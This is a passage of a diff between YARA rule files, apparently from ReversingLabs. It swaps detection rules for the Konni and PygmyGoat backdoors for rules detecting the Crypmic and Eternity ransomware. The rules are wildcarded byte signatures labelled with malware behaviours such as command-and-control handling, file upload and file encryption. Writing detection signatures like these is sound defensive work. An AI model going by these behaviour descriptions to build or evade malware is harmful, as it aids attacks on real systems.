?? ?? ?? 5F 8B E5 5D C3 + $setup_env = { + 28 ?? ?? ?? ?? 2C ?? 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 2C ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? + 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2D ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? + 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A } condition: - uint16( 0 ) == 0x5A4D and ( $resolve_windows_api ) and ( $load_sqlite3_functions ) and ( $check_license_expiration_date ) + uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) } -rule REVERSINGLABS_Win32_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Crypmic : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Konni backdoor." + description = "Yara rule that detects Crypmic ransomware." author = "ReversingLabs" - id = "6fe230b1-357a-54f7-a9a8-15d0369fec71" - date = "2023-12-07" - modified = "2023-12-07" + id = "0d5c2141-c0ca-53c8-91fd-ec2d5f163df2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win32.Backdoor.Konni.yara#L1-L190" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crypmic.yara#L1-L56" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7907a657d804d485718ba13bb23513de0b909e7d455c2b3ee193b5329edd3ac6" + logic_hash = "ee97c4d35cee68e080a4e9e0a21ecd3698da638463881a58f5daaf906ef86f75" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Konni" + tc_detection_type = "Ransomware" + tc_detection_name = "Crypmic" tc_detection_factor = 5 importance = 25 strings: - $network_communication_p1 = { - 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? - 57 53 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 45 ?? - 50 56 8D 8E ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? - 81 C6 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 57 57 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF - 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 6A ?? 56 53 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B F8 89 7D ?? 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8D 47 ?? 5F 5E 5B 8B E5 5D C2 ?? - ?? 8B 55 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 57 C7 45 ?? ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8B 35 ?? ?? ?? ?? 57 FF D6 53 FF D6 5F - 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? - 6A ?? 6A ?? 85 C0 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 6A ?? 56 - FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E B8 ?? ?? ?? ?? - 5B 8B E5 5D C2 ?? ?? 8B 45 ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? - ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 40 50 6A ?? 89 + $search_and_encrypt_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 B8 ?? ?? ?? ?? 57 8B F9 89 7D ?? C7 45 ?? ?? ?? ?? + ?? 89 45 ?? 8D 50 ?? 68 ?? ?? ?? ?? 6A ?? FF 77 ?? 66 89 85 ?? ?? ?? ?? 8B 47 ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D0 66 8B 95 ?? ?? ?? ?? 33 F6 33 + C9 89 45 ?? 66 3B F2 74 ?? 0F B7 D2 41 66 89 14 06 8D 34 09 33 DB 0F B7 94 35 ?? ?? + ?? ?? 66 3B DA 75 ?? BA ?? ?? ?? ?? 66 89 14 48 8D 1C 48 8D 8D ?? ?? ?? ?? 51 C7 43 + ?? ?? ?? ?? ?? 50 8B 47 ?? FF D0 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? + ?? 74 ?? 66 8B 8D ?? ?? ?? ?? 66 83 F9 ?? 74 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 33 D2 + 33 C0 66 3B D1 74 ?? 0F B7 C9 8B FF 40 66 89 4C 1A ?? 8D 14 00 C7 45 ?? ?? ?? ?? ?? + 0F B7 8C 15 ?? ?? ?? ?? 66 39 4D ?? 75 ?? 8B 55 ?? 33 C9 66 89 4C 43 ?? 68 ?? ?? ?? + ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 01 45 ?? 8D 85 ?? ?? ?? ?? 50 8B 47 ?? 56 FF D0 85 + C0 75 ?? 8B 47 ?? 56 FF D0 8D 85 ?? ?? ?? ?? 50 FF 75 ?? C7 43 ?? ?? ?? ?? ?? 8B 47 } - $network_communication_p2 = { - 45 ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? - ?? ?? ?? FF D6 8B 4D ?? 51 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 - ?? 52 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 6A ?? - 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 45 ?? 50 FF D6 53 FF D6 5F 5E 83 - C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 ?? 8D 4D ?? 51 52 57 56 FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 B8 ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 83 F8 ?? 74 ?? 8B 4D ?? 8B 55 ?? 6A ?? - 8D 45 ?? 50 51 57 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 01 45 ?? 51 6A ?? 57 E8 ?? - ?? ?? ?? 8B 45 ?? 83 C4 ?? 8D 55 ?? 52 50 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D - ?? 51 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? - 56 8B 35 ?? ?? ?? ?? FF D6 8B 55 ?? 52 FF D6 53 FF D6 83 7D ?? ?? 0F 84 ?? ?? ?? ?? - 8B 45 ?? 5F 5E 5B 8B E5 5D C2 - } - $handle_c2_commands_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 ?? ?? ?? ?? - 50 33 FF 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? - 3B F7 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 0D ?? ?? - ?? ?? 8B 16 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B - 4E ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 56 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B - 5E ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 57 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 56 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 - } - $handle_c2_commands_p2 = { - C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4C 86 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? BE - ?? ?? ?? ?? 85 C0 75 ?? 8D 78 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 - FF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 52 50 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B - 44 96 ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 68 - ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 06 8D 50 ?? 8B FF 66 8B 08 83 - C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 57 8D 3C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB - ?? 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 6A ?? 8D 3C 45 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? A1 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 50 - 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 56 - FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $create_cab_file_and_upload_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 56 57 33 - FF 68 ?? ?? ?? ?? 8B F1 8D 95 ?? ?? ?? ?? 33 C9 57 52 89 85 ?? ?? ?? ?? 89 BD ?? ?? - ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 - 85 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 33 D2 50 66 89 95 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 0F B7 8D ?? ?? ?? ?? 0F B7 95 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 51 0F B7 8D ?? - ?? ?? ?? 52 0F B7 95 ?? ?? ?? ?? 50 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 57 68 ?? ?? ?? ?? 8B C8 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 - FF 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? - 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? - ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B CE 8D BD ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 F8 ?? 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 8D - } - $create_cab_file_and_upload_p2 = { - 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 33 FF 8D 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? - ?? 8B B5 ?? ?? ?? ?? 83 C6 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 - ?? 56 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 3B - DF 74 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 3B - CF 75 ?? 2B C2 8D 93 ?? ?? ?? ?? D1 F8 8D 0C 00 33 C0 89 02 89 42 ?? 89 42 ?? 89 42 - ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 3B CF 74 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8B CB EB ?? 33 C9 8B 95 ?? ?? ?? ?? 89 8A ?? ?? ?? ?? 3B CF 0F 84 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8B - BD ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 C7 87 ?? - ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 9B ?? ?? ?? ?? - 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 84 46 ?? ?? ?? ?? 50 6A ?? 89 85 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? - 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 50 - 53 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 51 03 C3 50 E8 ?? ?? ?? ?? - 8B BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 FB 83 C4 ?? 03 FE B9 ?? ?? ?? ?? BE ?? ?? ?? - ?? 50 F3 A5 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8 - } - $create_cab_file_and_upload_p3 = { - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? - 6A ?? 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 50 05 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B F0 85 F6 75 ?? 8B 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 52 FF D6 57 FF D6 B8 ?? ?? - ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 53 6A - ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 - 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B - 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 95 ?? - ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 - ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D - ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 - ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 83 C8 - } - $create_cab_file_and_upload_p4 = { - 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 40 50 6A ?? 89 85 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? - FF D6 8B 95 ?? ?? ?? ?? 52 FF D6 57 FF D6 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 6A ?? 53 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 - C4 ?? 8D 8D ?? ?? ?? ?? 51 52 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? - ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 8B 4D ?? 8B 85 ?? ?? ?? ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $cmd_expand_payload = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 8B - D9 33 FF 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 33 D2 57 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D - ?? ?? ?? ?? 57 51 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? - 57 6A ?? 33 C0 68 ?? ?? ?? ?? 53 89 BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 57 57 57 6A ?? 57 56 FF - 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 75 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? 5F 5E 5B - 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 57 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F8 - 85 FF 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 47 ?? 50 6A ?? 6A ?? FF 15 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 57 ?? 83 C4 ?? 57 89 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 3D ?? ?? ?? ?? 50 FF D7 56 FF D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? - 51 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? - ?? 83 C4 ?? 33 C0 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 50 50 68 ?? ?? ?? ?? 50 - 50 50 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 6A - ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8B F0 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF D7 8B 4D ?? 8B 85 ?? ?? - ?? ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + $search_and_encrypt_2 = { + 33 F6 89 75 ?? FF D0 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ?? + F6 85 ?? ?? ?? ?? ?? 75 ?? 66 8B BD ?? ?? ?? ?? 33 F6 8B 8E ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 83 FF ?? 75 ?? + EB ?? 8D 9B ?? ?? ?? ?? 66 8B 48 ?? 83 C0 ?? 83 C2 ?? 66 3B 0A 74 ?? 66 83 38 ?? 0F + 85 ?? ?? ?? ?? 66 83 3A ?? 0F 85 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? 8B 7D + ?? 8B 75 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 50 8B 47 ?? FF D0 85 C0 8B 45 ?? 0F 85 ?? + ?? ?? ?? 50 8B 47 ?? FF D0 85 F6 74 ?? 8B 55 ?? 33 C0 8B CF 66 89 43 ?? E8 ?? ?? ?? + ?? FF 75 ?? 8B 47 ?? 6A ?? FF 77 ?? FF D0 8B 45 ?? 8B 5D ?? 03 C6 03 D8 8B 45 ?? 40 + 89 5D ?? 89 45 ?? BA ?? ?? ?? ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8B 47 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B CF E8 + ?? ?? ?? ?? 83 C4 ?? 03 C3 5F 5E 5B 8B E5 5D C3 33 C9 33 C0 66 3B CF 74 ?? 0F B7 CF + 33 D2 8D 9B ?? ?? ?? ?? 40 66 89 4C 1A ?? 8D 14 00 33 F6 0F B7 8C 15 ?? ?? ?? ?? 66 + 3B F1 75 ?? 8B 75 ?? FF 75 ?? 8B 7D ?? 33 C9 46 57 66 89 4C 43 ?? 89 75 ?? E8 ?? ?? + ?? ?? E9 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( all of ( $handle_c2_commands_p* ) ) and ( all of ( $create_cab_file_and_upload_p* ) ) and ( $cmd_expand_payload ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $search_and_encrypt_* ) ) ) } -rule REVERSINGLABS_Linux_Backdoor_Pygmygoat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Eternity : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects PygmyGoat backdoor." + description = "Yara rule that detects Eternity ransomware." author = "ReversingLabs" - id = "c6ffe84d-c1ae-5856-bd49-4633b049f95c" - date = "2025-01-20" - modified = "2025-01-20" + id = "7bb0f3b0-a8c0-5239-a1b4-532d403f59bc" + date = "2022-07-22" + modified = "2022-07-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.PygmyGoat.yara#L1-L135" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara#L1-L74" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "11e076865bfc72b79ca42ca821e4c1d81ea705f3ba7711be8677b648ada859a1" + logic_hash = "a2298a26e9bbe2b779eb2afeeda28d4321bc2d26db46bbb377bf86abaf8fa929" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "PygmyGoat" + tc_detection_type = "Ransomware" + tc_detection_name = "Eternity" tc_detection_factor = 5 importance = 25 strings: - $create_backdoor_socket = { - 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 30 89 74 08 ?? 8D 50 ?? 83 